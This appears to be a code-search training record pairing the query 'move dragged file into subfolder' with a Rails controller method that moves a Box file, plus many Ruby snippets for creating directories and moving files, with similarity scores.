"def directory(dir)\n Rake.each_dir_parent(dir) do |d|\n file_create d do |t|\n mkdir_p t.name if ! File.exist?(t.name)\n end\n end\nend",
"def create_directory(branch, destination, name, author)\n destination ||= ''\n repo = satelliterepo\n repo.checkout(branch) unless repo.empty?\n file = File.join(name, '.gitignore')\n file = File.join(destination, file) unless destination.empty?\n absolute = File.join(satellitedir, file)\n FileUtils.mkdir_p File.dirname(absolute)\n FileUtils.touch(absolute)\n repo.index.add file\n message = \"Add directory #{name}\"\n commit_id = satellite_commit(repo, message, author, branch)\n fake_thumbnail commit_id\n repo.checkout('master')\n File.dirname(file)\n end",
"def create_directory(branch, destination, name, author)\n destination ||= ''\n repo = satelliterepo\n repo.checkout(branch) unless repo.empty?\n file = File.join(name, '.gitignore')\n file = File.join(destination, file) unless destination.empty?\n absolute = File.join(satellitedir, file)\n FileUtils.mkdir_p File.dirname(absolute)\n FileUtils.touch(absolute)\n repo.index.add file\n message = \"Add directory #{name}\"\n commit_id = satellite_commit(repo, message, author, branch)\n fake_thumbnail commit_id\n repo.checkout('master')\n File.dirname(file)\n end",
"def make_dir(path)\n FileUtils.mkdir_p( path )# unless File.exists?(path)\n end",
"def create_folder(name)\n folder = ROSRS::Folder.create(self, name)\n load unless loaded?\n @folders[folder.uri] = folder\n folder\n end",
"def create_directory(name_slide, counter)\n puts 'Creating Nested Slide(s) Directory...'\n # NEW: Create a nested file with the name given\n Dir.mkdir \"./slides_archive/#{name_slide}/\" unless File.exist? \"./slides_archive/#{name_slide}/\"\n puts \"DONE ✓ (Created No. #{counter} nested directory)\"\n end",
"def create_submission_folder\n submission_folders.create(name: 'Submissions', is_permanent: true)\n end",
"def create_dir(filename)\n expanded_filename = \"#{working_dir}/#{filename}\"\n FileUtils.mkdir_p expanded_filename\n expanded_filename\n end",
"def create\n temp = @folder_client.create(params_create_folder)\n if temp[:status]\n flash_message(:notice,\"#{t('folder.folder')} #{t('succesfully_created')}\")\n folder_path(temp[:data].id)\n else\n flash_message(:error, 'Problema creando Carpeta')\n redirect_to root_path\n end\n @success = temp[:status]\n end",
"def mkdir(path)\n Dir.mkdir path unless exists? path\n end",
"def create_directory\n return if File.directory?(DIRECTORY_PATH)\n\n FileUtils.mkdir_p(DIRECTORY_PATH)\n end",
"def mkdir(name=newname)\n dir = path(name)\n Dir.mkdir(dir)\n return dir\n end",
"def ensure_subfolder(folder_name)\n subfolder = subfolders.find { |each| each.name == folder_name }\n subfolder || VSphere::Folder.new(@folder.CreateFolder(name: folder_name))\n end",
"def create_namespace\n path = namespace_path\n Dir.mkdir(path) unless Dir.exist?(path)\n end",
"def subdirs_to_create(dir, user)\n Chef::Log.info(\"Dir to create: #{dir}, user: #{user}\")\n existing_subdirs = []\n remaining_subdirs = dir.split('/')\n remaining_subdirs.shift # get rid of '/'\n\n until remaining_subdirs.empty?\n Chef::Log.debug(\"remaining_subdirs: #{remaining_subdirs.inspect}, existing_subdirs: #{existing_subdirs.inspect}\")\n path = existing_subdirs.push('/' + remaining_subdirs.shift).join\n break unless File.exist?(path)\n raise \"Path #{path} exists and is a file, expecting directory.\" unless File.directory?(path)\n raise \"Directory #{path} exists but is not traversable by #{user}.\" unless can_traverse?(user, path)\n end\n\n new_dirs = [existing_subdirs.join]\n new_dirs.push(new_dirs.last + '/' + remaining_subdirs.shift) until remaining_subdirs.empty?\n new_dirs\n end",
"def create!\n\t\t\tClient.put @root\n\t\tend",
"def make_folder(path:, mode: \"644\", owner: nil, group: nil )\n @output.item @i18n.t('setup.mkdir', path: path)\n FileUtils::mkdir_p path unless File::exist? path\n FileUtils.chmod mode.to_i(8), path\n FileUtils.chown owner, group, path if owner and group\n end",
"def create_dir path\n path = with_root path\n path = fix_path path\n sftp.mkdir! path\n end",
"def action_create\n if (dir_exists?(@path))\n Chef::Log::info(\"Directory #{ @path } exits; create action not taken\")\n else\n converge_by(\"Create #{ @new_resource }\") do\n @client.mkdir(@path,'permission' => @mode)\n end\n new_resource.updated_by_last_action(true)\n end\n end",
"def create_dir(path)\n FileUtils.mkdir_p(path, { mode: 0775 }) unless File.exists?(path)\n end",
"def create_root(zk, config)\n # just create it and don't care if it fails.\n zk.create(:path => config[:root])\nend",
"def mkdir_p(path)\n if !Dir::exist? path\n Dir::mkdir path\n end\nend",
"def create_dir(path, property)\n FileUtils.mkdir_p(path)\n insert_property(property, path)\n end",
"def criar_pasta(path)\n unless File.directory?(path)\n FileUtils.mkdir_p(path)\n end\nend",
"def create_structure\n if File.exists?(\"features\") && File.directory?(\"features\")\n return\n else\n FileUtils.mkpath \"features/step_definitions\"\n FileUtils.mkdir \"features/support\"\n FileUtils.mkdir \"features/screenshots\"\n FileUtils.touch\"features/support/env.rb\"\n end\n \n\n end",
"def create_directory(file)\n end",
"def mkdir(path)\n names = path.split('/')\n names.shift\n node = @root\n until names.empty?\n name = names.shift\n node.mkdir(name) unless node.children.key?(name)\n node = node.children[name]\n end\n node\n end",
"def mkdir(path)\n FileUtils.mkdir_p(path)\n end",
"def create_directory path\n unless File.exists?(path)\n FileUtils::mkdir_p path\n Puppet.notice \"Created directory #{path}\"\n end\n end",
"def create(conn_id, path, *args)\n options = args.extract_options!\n options.assert_valid_keys(VALID_CREATE_OPTIONS)\n \n timeout = resolve_timeout_option(options[:timeout], 10.seconds)\n subscription = resolve_subscription_option(options[:subscription])\n path = resolve_folderpath_option(conn_id, path)\n \n with_connection(conn_id, timeout) { |conn|\n conn.folder_create(path, subscription, options[:recursive])\n }\n end",
"def create_splunk_directory(path)\n dir = Chef::Resource::Directory.new(path, run_context)\n dir.path(path)\n dir.recursive(false)\n dir.owner(node[:splunk][:user])\n dir.group(node[:splunk][:group])\n dir.mode('0755')\n dir.run_action(:create)\n new_resource.updated_by_last_action(dir.updated_by_last_action?)\n end",
"def make_directory\n FileUtils.mkdir_p output_directory unless File.exist? output_directory\n end",
"def mkdir_p(path)\n FileUtils.mkdir_p(path)\n end",
"def mkdirs(folders, enter=false)\n oldCWD = FileUtils.pwd\n path = folders.join(\"/\")\n folders.delete_at(folders.size - 1)\n folders.each do |f|\n mkfolder(f, true)\n end\n FileUtils.chdir(oldCWD) unless enter\nend",
"def ensure_subfolder(folder_name)\n subfolder = subfolders.find { |each| each.name == folder_name }\n subfolder || VSphere::Folder.new(@folder.CreateFolder(name: folder_name), parent: self, name: folder_name)\n end",
"def default_folder\n self.folders.create(:name => \"LNKS!\")\n end",
"def createFolder(folderName,parentFolder)\n\tthesame = lambda { |key| hostName }\t\n client = Savon.client(wsdl: @@wsdl, ssl_verify_mode: :none, ssl_version: :TLSv1, convert_request_keys_to: :none)\n parentId = getFolder(parentFolder)\n if parentId.nil?\n print \"Parent Folder \" + parentFolder + \" doesn't exist\"\n return nil\n else\n response = client.call(:folder_create, message: {\n token: @@token,\n folderName: folderName,\n parentFolderId: parentId,\n folderTypeId: 1\n })\n doc = Nokogiri::XML.parse(response.to_xml)\n puts doc\n end\n end",
"def mkdir(*args) Dir.mkdir(path, *args) end",
"def gen_sub_directories\n FileUtils.mkdir_p RDoc::Generator::FILE_DIR\n FileUtils.mkdir_p RDoc::Generator::CLASS_DIR\n rescue\n $stderr.puts $!.message\n exit 1\n end",
"def gen_sub_directories\n FileUtils.mkdir_p RDoc::Generator::FILE_DIR\n FileUtils.mkdir_p RDoc::Generator::CLASS_DIR\n rescue\n $stderr.puts $!.message\n exit 1\n end",
"def make_work_folder_if_empty\n unless Dir.exists?(WORKFOLDER)\n FileUtils.mkdir_p(WORKFOLDER)\n print_status(\"Workspace \\\"#{WORKFOLDER}\\\" created\")\n end\nend",
"def create(path)\n log.debug \"synapse: creating ZK path: #{path}\"\n\n # recurse if the parent node does not exist\n create File.dirname(path) unless @zk.exists? File.dirname(path)\n @zk.create(path, ignore: :node_exists)\n end",
"def CreateDir(aDir):\n FileUtils.mkdir_p(aDir)\n end",
"def subdirs_to_create(dir, user)\n Chef::Log.debug(\"Dir to create: #{dir}, user: #{user}\")\n existing_subdirs = []\n remaining_subdirs = dir.split('/')\n remaining_subdirs.shift # get rid of '/'\n reason = ''\n \n until remaining_subdirs.empty?\n Chef::Log.debug(\"remaining_subdirs: #{remaining_subdirs.inspect}, existing_subdirs: #{existing_subdirs.inspect}\")\n path = existing_subdirs.push('/' + remaining_subdirs.shift).join\n break unless File.exist?(path)\n reason = \"Path \\'#{path}\\' exists and is a file, expecting directory.\" unless File.directory?(path)\n reason = \"Directory \\'#{path}\\' exists but is not traversable by user \\'#{user}\\'.\" unless can_traverse?(user, path)\n end\n\n new_dirs = [existing_subdirs.join]\n new_dirs.push(new_dirs.last + '/' + remaining_subdirs.shift) until remaining_subdirs.empty?\n [new_dirs, reason]\n end"
] | [
"0.72655004",
"0.7144939",
"0.7123008",
"0.712223",
"0.7011834",
"0.701061",
"0.6994109",
"0.6990473",
"0.6944186",
"0.68862987",
"0.68862987",
"0.6854912",
"0.6850851",
"0.68444425",
"0.68328834",
"0.6822164",
"0.6784889",
"0.6776958",
"0.67741275",
"0.67478126",
"0.6734044",
"0.67322755",
"0.6723103",
"0.66708",
"0.665201",
"0.66139764",
"0.6610599",
"0.66040564",
"0.6588456",
"0.65830547",
"0.65683675",
"0.6568297",
"0.6548874",
"0.651105",
"0.6499237",
"0.6477357",
"0.6459861",
"0.6459861",
"0.64584714",
"0.64545107",
"0.645005",
"0.64304715",
"0.64188427",
"0.64050555",
"0.63983303",
"0.6397656",
"0.6396428",
"0.63926363",
"0.63919157",
"0.63779306",
"0.6367493",
"0.63609076",
"0.6359767",
"0.6356303",
"0.6336915",
"0.63262904",
"0.6323234",
"0.63145727",
"0.63145727",
"0.6311477",
"0.6304655",
"0.62855047",
"0.62838805",
"0.6260257",
"0.62563515",
"0.62413704",
"0.62392473",
"0.62385947",
"0.6232974",
"0.62303025",
"0.621993",
"0.6200909",
"0.62005174",
"0.6193",
"0.618698",
"0.6184201",
"0.6174207",
"0.6172054",
"0.6170272",
"0.6168504",
"0.6164229",
"0.6164162",
"0.6159524",
"0.6159462",
"0.6156758",
"0.61541384",
"0.6149927",
"0.61437",
"0.6141008",
"0.61341006",
"0.61322665",
"0.6132067",
"0.6128045",
"0.61271995",
"0.61180323",
"0.61180323",
"0.6111749",
"0.6106539",
"0.6103991",
"0.60992396"
] | 0.7022164 | 4 |
move dragged file into subfolder | def move_file
destFolder = params[:dest]
targetFile = params[:file_id]
client = user_client
mixpanel_tab_event("My Vault", "Move File - Drag & Drop")
# get folder
folder = Rails.cache.fetch("/folder/#{session[:box_id]}/my_folder/#{params[:dest]}", :expires_in => 10.minutes) do
client.folder_from_id(params[:dest])
end
begin
# get shared folder, then move file into shared folder
client.move_file(targetFile, destFolder)
flash[:notice] = "File moved into \"#{folder.name}\""
rescue
flash[:error] = "Error: File could not be moved"
end
redirect_to dashboard_id_path(session[:current_folder])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def move_file\n\n end",
"def move(cloud_file, to_path, root=\"auto\")\n payload = {\n root: root,\n from_path: cloud_file.path,\n to_path: to_path\n }\n\n connexion = Dropbox.start(:move, access_token)\n res = connexion.post do |req|\n req.url \"fileops/move\"\n req.body = payload\n end\n\n response = format_response(res)\n #tree_cache(response)\n end",
"def test_move_file_in_subdirectory\n `touch ../harness/test/new/foo`\n nd = TestDirectory.new \"../harness/test/new\"\n assert(nd.files.find \"foo\")\n @td.move(:foo, :new, :unclassified)\n assert(File.exist?(\"../harness/test/unclassified/foo\"))\n assert(!File.exist?(\"../harness/test/new/foo\"))\n end",
"def move(file, new_basename = nil, pathtype: :tree)\n filename = new_basename || File.basename(file)\n path = store_path(filename)\n FileUtils.mv File.expand_path(file), path\n file_path path, pathtype\n end",
"def file_move(from_path, to_path)\n params = {\n \"root\" => @root,\n \"from_path\" => format_path(from_path, false),\n \"to_path\" => format_path(to_path, false),\n }\n response = @session.do_post build_url(\"/fileops/move\", params)\n parse_response(response)\n end",
"def move_dirs\n \n end",
"def dragged\n $dz.determinate(true)\n \n move = true\n \n if ENV['OPERATION'] == \"NSDragOperationCopy\"\n operation = \"Copying\"\n move = false\n else\n operation = \"Moving\"\n end\n \n $dz.begin(\"#{operation} files...\")\n\n Rsync.do_copy($items, ENV['EXTRA_PATH'], move)\n \n finish_op = (move ? \"Move\" : \"Copy\")\n $dz.finish(\"#{finish_op} Complete\")\n $dz.url(false)\nend",
"def move!(entry, dest_path)\n src_path = Wide::PathUtils.relative_to_base(base_path, entry.path)\n dest_path = Wide::PathUtils.relative_to_base(base_path, dest_path)\n\n cmd = cmd_prefix.push('mv', src_path, dest_path)\n shellout(Escape.shell_command(cmd))\n\n begin\n if($? && $?.exitstatus != 0)\n entry.move!(dest_path);\n end\n rescue\n raise CommandFailed.new(\"Failed to move file #{src_path} to #{dest_path} in the Mercurial repository in #{base_path}\")\n end\n end",
"def google_move_file(client)\n notify \"Command : Google move file\"\n # result : error message\n # google treat folders as files\n src_files = move_copy_file_source\n dest_path = CGI::unescape(@fields[:dst_path].to_s)\n result = client.move_files(src_files,dest_path)\n\n end",
"def move\n display_change\n File.move(@real_path, new_path, false)\n end",
"def post_move(filename,src_repo,data)\n curl_post(\"#{self.host}/api2/repos/#{src_repo}/file/?p=#{filename}\",data).body_str\n end",
"def move\n file = session[:user].x_files.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n raise RequestError.new(:bad_param, \"File not uploaded\") if !file.folder && !file.uploaded\n raise RequestError.new(:bad_param, \"Can not move the root folder\") if file.id == session[:user].root_folder.id\n source = WFolder.get(params[:source])\n raise RequestError.new(:file_not_found, \"Source not found\") unless source\n raise RequestError.new(:bad_param, \"Source is not a folder\") unless source.folder\n raise RequestError.new(:bad_access, \"No access to the source folder\") unless source.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Source does not contain the file\") if source.files.include? file == false && !file.folder\n raise RequestError.new(:bad_param, \"Source does not contain the folder\") if source.childrens.include? file && file.folder\n destination = WFolder.get(params[:destination])\n raise RequestError.new(:file_not_found, \"Destination not found\") unless destination\n raise RequestError.new(:bad_param, \"Destination is not a folder\") unless destination.folder\n raise RequestError.new(:bad_access, \"No access to the destination folder\") unless destination.users.include? session[:user] \n raise RequestError.new(:bad_param, \"Destination and Source are identical\") if source.id == destination.id\n raise RequestError.new(:bad_param, \"Destination and File are identical\") if file.id == destination.id\n raise RequestError.new(:bad_param, \"File and Source are identical\") if source.id == file.id\n\n WFile.move(file, source, destination) unless file.folder\n WFolder.move(file, source, destination) if file.folder\n\n @result = { success: true }\n end",
"def move_folder\n\n destFolder = params[:dest]\n targetFolder = params[:folder_id]\n client = user_client\n mixpanel_tab_event(\"My Vault\", \"Move Folder - Drag & Drop\")\n\n # get folder\n folder = Rails.cache.fetch(\"/folder/#{session[:box_id]}/my_folder/#{params[:dest]}\", :expires_in => 10.minutes) do\n client.folder_from_id(params[:dest])\n end\n\n begin\n # get shared folder, then move file into shared folder\n client.move_folder(targetFolder, destFolder)\n flash[:notice] = \"Folder moved into \\\"#{folder.name}\\\"\"\n rescue\n flash[:error] = \"Error: Folder could not be moved\"\n end\n\n redirect_to dashboard_id_path(session[:current_folder])\n end",
"def move_folder_ind\n create_process(process: \"MOVE_FOLDER\")\n end",
"def test_move_folder\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/TestMoveFolderSrc/TestMoveFolderSrc.docx'\n\n request = MoveFolderRequest.new(dest_path: remote_test_out + '/TestMoveFolderDest_' + generate_uuid, src_path: remote_data_folder + '/TestMoveFolderSrc')\n\n @words_api.move_folder(request)\n end",
"def mv srcpath, dstpath\n end",
"def move_folder(folder,orig,dest)\n \n puts \"Moving #{orig}/#{key[:dir]} -> #{dest}/#{key[:dir]}\" if @verbose\n FileUtils.mv \"#{orig}/#{key[:dir]}\", \"#{dest}/#{key[:dir]}\"\n\n end",
"def move_folders(orig,dest)\n \n puts \"Moving #{orig} -> #{dest}\" if @verbose\n FileUtils.mv orig,dest\n end",
"def move(id, folder = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n # This provides support for an Array of ids.\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/move?file_ids=%s&parent_id=%i' % [id, folder]).status == \"OK\"\n end",
"def move_origional_file\n if File.exist? @origional_file\n $logger.info \" moving previous (orig->processed)\\n #{@origional_file} ->\\n #{processed_file}\"\n FileUtils.mkdir_p(File.dirname(processed_file))\n FileUtils.mv @origional_file, processed_file\n end\n end",
"def move_to_folder\n return @move_to_folder\n end",
"def move(command)\n src = clean_up(command[1])\n dest = clean_up(command[2])\n pp @client.files.move(src, dest)\n end",
"def move_folder\n if ENV['RACK_ENV'] == 'production'\n if File.directory?(get_folder(name_change.last))\n error!('A folder with this name already exists.', 400)\n else\n FileUtils.mv get_folder(name_change.first), get_folder(name_change.last)\n end\n end\n end",
"def mv(srcpath,dstpath)\n FileUtils.mv(srcpath,dstpath)\n end",
"def project_mv(src_file, dst_file, options)\n if src_file.path.directory?\n # Process all children first\n children = src_file.path.children.map { |c| c.directory? ? Group.new(c) : File.new(c) }\n children.each do |src_child|\n dst_child = src_child.with_dirname(dst_file.path)\n project_mv(src_child, dst_child, options)\n end\n else\n # Remove old destination file reference if it exists\n dst_file.remove_from_project if dst_file.pbx_file\n\n # Add new destination file reference to the new xcodeproj\n dst_file.create_file_reference\n dst_file.add_to_targets(options[:targets], options[:headers])\n end\n\n # Remove original directory/file from xcodeproj\n if src_file.pbx_file\n src_file.remove_from_project\n else\n warn(\"⚠️ Warning: #{src_file.path.basename} not found in #{src_file.project.path.basename}, moving anyway...\")\n end\n end",
"def move(from_path, to_path, opts = {})\n input_json = {\n from_path: from_path,\n to_path: to_path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/move\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def move_folder\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir = Item.new(Path.new(params[:dest_dir]))\n\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def move_files\n source_dir = Item.new(Path.new(params[:source]))\n dest_dir = Item.new(Path.new(params[:dest]))\n type = params[:type]\n response = {}\n response[:source_dir] = source_dir\n response[:dest_dir] = dest_dir\n if source_dir.move_files_to(dest_dir, type)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def shift_from(other)\n raise ArgumentError.new(other) unless other.kind_of?(self.class)\n unless File.ftype(other.path) == \"file\"\n raise ArgumentError.new(other)\n end\n dir = @path.dirname\n dir.mkpath unless dir.exist?\n FileUtils.mv(other.path, @path)\n end",
"def move(*args)\n \t# Sending destination path\n \tputs \"MOVING\"\n \tmove_entity(*args[0].public_path)\n \tsuper\n end",
"def mv(name, from = DirConfig::OPEN, to = DirConfig::DEPLOY)\n agency = options[:agency]\n ::Taxi::SFTP.new(agency).move_glob(name, from, to)\n end",
"def move (source_path, dest_path)\n \"mv '#{source_path}' '#{dest_path}'\"\n end",
"def move(src, dst)\n dddebug('move', [src, dst])\n\n glob(src, false).each do |f|\n begin\n # glob returns relative paths inside the prefix.\n # We have to prefix bouth source and dst.\n pre_f = prefixed(f)\n pre_dst = prefixed(dst)\n\n OneCfg::LOG.dddebug(\"Move #{pre_f} \" \\\n \"into #{pre_dst}\")\n\n FileUtils.mv(pre_f, pre_dst)\n rescue StandardError => e\n # skip files which are the same as destination\n # TODO: WTF is error 22 !!!\n next if e.errno == 22\n\n raise e\n end\n end\n end",
"def move_file(src, dest)\n FileUtils.mv(src, dest, force: false)\nrescue Errno::EACCES\n FileUtils.cp_r(src, dest)\n FileUtils.rm_rf(src)\nend",
"def test_move_file\n remote_file_name = 'TestMoveFileSrc.docx'\n\n upload_file File.join(local_test_folder, local_file), remote_data_folder + '/' + remote_file_name\n\n request = MoveFileRequest.new(dest_path: remote_test_out + '/TestMoveFileDest_' + generate_uuid + '.docx', src_path: remote_data_folder + '/' + remote_file_name)\n\n @words_api.move_file(request)\n end",
"def move(src, dst)\n # Move should copy first then delete after copying is successfull!\n #FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n FileUtils.rm_rf(src) if FileUtils.cp_r(src, dst, :remove_destination => true).nil?\n rescue Exception => e\n log 3, e\n end",
"def move_to_folder=(value)\n @move_to_folder = value\n end",
"def move_file\n source_file = Item.new(Path.new(params[:source_file]))\n dest_file = Item.new(Path.new(params[:dest_file]))\n\n response = {}\n if source_file.path.to_s == dest_file.path.to_s\n response[:msg] = \"Same file\"\n render json: response, status: 200\n return\n end\n\n response[:source_file] = source_file\n response[:dest_file] = dest_file\n if source_file.move_to(dest_file)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 402\n end\n end",
"def move_task(initial, target)\n initial_x = initial.wd.location['x']\n initial_y = initial.wd.location['y']\n\n target_x = target.wd.location['x']\n target_y = target.wd.location['y']\n\n total_x = target_x - initial_x + 5\n total_y = target_y - initial_y + 5\n\n initial.when_present.drag_and_drop_by(total_x, total_y)\n sleep 1 #Allow for motion to happen\n end",
"def mv(from_location, to_location)\n @client.file_move(from_location, to_location)\n rescue\n puts $! if @@verbose\n nil\n end",
"def smove(source, destination, member); end",
"def smove(source, destination, member); end",
"def move_package\n begin\n package_file = File.join(@tmpdir, 'pkg', \"#{@plugin.vendor}-#{@package_name}-#{@plugin.metadata[:version]}.tar.gz\")\n FileUtils.cp(package_file, '.')\n rescue => e\n puts 'Could not copy package to working directory'\n raise e\n end\n end",
"def move_sub_files(src_path, dest_path)\n puts \"=== Move subtitle files\"\n puts \" from: #{src_path}\"\n puts \" to: #{dest_path}\"\n\n files = Dir[File.join(src_path, \"**/*\")]\n files.each do |file|\n next unless SUB_TYPES.include?(File.extname(file))\n move_file_to_path(file, dest_path)\n end\n end",
"def move_package(name, new_dir)\n Autoproj.workspace.manifest.move_package(name, new_dir)\nend",
"def move_file (new_directory_path,file)\n FileUtils.mkdir_p new_directory_path if not File.exist? new_directory_path\n if File.exist? file and File.file? file\n if File.exist? new_directory_path + file\n puts \"# - File #{file} already exists. Skipping...\"\n FileUtils.rm file\n else\n puts \"# - Moving the file: #{file} to #{new_directory_path}...\" \n FileUtils.mv file, new_directory_path\n end\n else\n raise \"Error while moving file to #{LOG_OLD_DIR}\"\n end\nend",
"def move(from_path, to_path, ctype=nil, recursive=false, replace=false)\n copy(from_path, to_path, ctype, recursive, replace)\n remove(from_path, ctype, recursive)\n end",
"def move_dirs\n :both\n end",
"def move_to dir=\"\"\n #TODO chmod!!!, работа с флагами\n return false if dir.empty?\n \n filename_target = File.join(dir, @name_target+@extention)\n\n begin\n FileUtils.mv(@filename, filename_target) \n rescue StandardError => e\n add_error e.full_message(@name+@extention) \n return false \n else\n @filename = filename_target\n @name = @name_target\n return true\n end\n end",
"def move_to(target)\n target.parent.mkdirs\n factory.system.move_dir(@path, target.path)\n end",
"def drag_and_drop(source, sourceinfo, target, targetinfo, action)\n $marathon.dragAndDrop(ComponentId.new(source, sourceinfo), ComponentId.new(target, targetinfo), action)\nend",
"def move_file(path:, move_destination:)\n BrickFTP::API::FileOperation::Move.create(path: path, :'move-destination' => move_destination)\n end",
"def move_file(path:, move_destination:)\n BrickFTP::API::FileOperation::Move.create(path: path, 'move-destination': move_destination)\n end",
"def test_post_move_file\n\n src = 'folder1/FileTest.pdf'\n dest = 'folder3/folder1/FileTest.pdf'\n versionId = nil\n storage = 'First Storage'\n destStorage = 'First Storage'\n request = PostMoveFileRequest.new(src, dest, versionId, storage, destStorage)\n\n result = @storage_api.post_move_file(request)\n assert result.code == 200, 'Error while moving document'\n\n end",
"def upload(local_path, dest_path)\n local_file_name = File.basename local_path\n dest_dir_name = File.dirname dest_path\n ssh.send_file local_path, \"/tmp/#{local_file_name}\"\n ssh.exec! \"mkdir --parents #{dest_dir_name}\", sudo: true\n ssh.exec! \"mv /tmp/#{local_file_name} #{dest_path}\", sudo: true\n return dest_path\n end",
"def drag_and_drop(source, sourceinfo, target, targetinfo, action)\n $marathon.dragAndDrop(ComponentId.new(source, sourceinfo), ComponentId.new(target, targetinfo), action)\nend",
"def set_move_target cf=current_file\n ff = expand_path(cf)\n return unless File.directory? ff\n\n @move_target = ff\n message \"Move target set to #{cf}.\"\nend",
"def move_files_to(from_folder)\n\n Dir.glob(\"#{from_folder}/*\") do |filename|\n to_path = \"#{timestamped(filename)}\"\n delete_file_if_there(to_path)\n move_file(filename, to_path)\n end\n end",
"def move_to!(dest)\n Pow(dest).parent.create_directory\n move_to(dest)\n end",
"def move_files(from_path, to_path)\n # move into the new dir - and mv files to the in_process_dir\n pwd = FileUtils.pwd\n begin\n FileUtils.mkdir_p(to_path) if not Dir.exists? to_path\n Dir.chdir(from_path)\n FileUtils.mv Dir.glob(\"*\"), to_path, :force => true\n Dir.chdir(to_path)\n begin\n #remove from_path as files are now \"in process\"\n FileUtils.rm_r(from_path)\n rescue\n logger.warn \"failed to rm #{from_path}\"\n end\n ensure\n if FileUtils.pwd() != pwd\n if Dir.exists? pwd\n FileUtils.chdir(pwd)\n else\n FileUtils.chdir( student_work_dir() )\n end\n end\n end\n end",
"def test_post_move_folder()\n\n src = 'folder6'\n dest = 'folder7/folder6'\n storage = 'First Storage'\n dest_storage = 'First Storage'\n request = PostMoveFolderRequest.new(src, dest, storage, dest_storage)\n\n result = @storage_api.post_move_folder(request)\n assert result.code == 200, 'Error while moving folder'\n\n end",
"def upload_file_to_folder(folder_name)\n upload_files_to_folder(folder_name)\n end",
"def move_to_directory(dir)\n p = File.join(dir, self.filename)\n if copy_file(p)\n @path = p\n end\n end",
"def move(from, to)\n @ctx.mv(@path + from, @path + to)\n end",
"def pluck_item(item_dpath_src)\n path_below_root = item_dpath_src.sub(Regexp.new(\"^#{@era_root_dir_path}/\"), '')\n item_dpath_dest = \"#{@era_root_dir_path_dest}/#{path_below_root}\"\n item_parent_dpath_dest = File.dirname(item_dpath_dest)\n\n Dir.mkdir(@era_root_dir_path_dest) unless File.exists?(@era_root_dir_path_dest)\n Dir.mkdir(item_parent_dpath_dest) unless File.exists?(item_parent_dpath_dest)\n puts \"Moving #{item_dpath_src}\\n to #{item_dpath_dest}\"\n File.rename(item_dpath_src, item_dpath_dest)\t# Move from src to dest tree\n @plucked_items << item_dpath_src\n @plucked_items_dest << item_dpath_dest\n end",
"def move_folder(from_source:, from_dir:, to_source:, to_dir:)\n response = HTTParty.get(\"#{@host}/move_folder\", query: {\n source_dir: \"#{from_source}:#{from_dir}\",\n dest_dir: \"#{to_source}:#{to_dir}\",\n api_key: @api_key\n })\n \n return response.success?\n end",
"def move_to(path)\n raise CommandError, 'Destination exists' if File.exist?(expand path)\n FileUtils.mkdir_p(File.dirname(expand path))\n FileUtils.mv(@working_dir, expand(path))\n end",
"def mv(src, dst)\n FileUtils.mv(src, dst, :verbose => verbose?)\n end",
"def move\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n @mail_folder = MailFolder.find(params[:id])\n\n if params[:tree_node_id].blank?\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n return\n end\n\n parent_id = params[:tree_node_id]\n SqlHelper.validate_token([parent_id])\n\n if parent_id == TreeElement::ROOT_ID.to_s\n flash[:notice] = 'ERROR:' + t('mail_folder.root_cannot_have_folders')\n else\n # Check if specified parent is not one of subfolders.\n childs = MailFolder.get_childs(@mail_folder.id, true, false)\n if childs.include?(parent_id) or (@mail_folder.id == parent_id.to_i)\n flash[:notice] = 'ERROR:' + t('folder.cannot_be_parent')\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n return\n end\n\n @mail_folder.parent_id = parent_id\n @mail_folder.xorder = nil\n @mail_folder.save\n\n flash[:notice] = t('msg.move_success')\n end\n\n prms = ApplicationHelper.get_fwd_params(params)\n prms[:action] = 'show_tree'\n redirect_to(prms)\n end",
"def notify_file_mv(src, dst)\r\n notify_file_cp(src, dst)\r\n notify_file_rm(src)\r\n end",
"def move_to_trash\n source_dir = Item.new(Path.new(params[:source_dir]))\n dest_dir_path = Pathname.new(source_dir.path.dirname.to_s + \"/RESTARTED/RESTARTED_\" + source_dir.path.basename.to_s)\n\n dest_dir_string = dest_dir_path.to_s\n dir_found = false\n i = 1\n while(!dir_found)\n dest_dir = Item.new(Path.new(dest_dir_string))\n if dest_dir.exist?\n dest_dir_string = dest_dir_path.to_s + \"_#{i}\"\n i += 1\n else\n dir_found = true\n end\n end\n\n response = {}\n if !source_dir.exist?\n response[:msg] = \"No folder at location, nothing to do\"\n render json: response, status: 200\n elsif source_dir.move_to(dest_dir)\n response[:msg] = \"Success\"\n render json: response, status: 200\n else\n response[:msg] = \"Fail\"\n render json: response, status: 422\n end\n end",
"def mv orig, dest, rm = true\n rm_rf dest unless !rm\n execute(\"mv #{orig} #{dest}\")\n end",
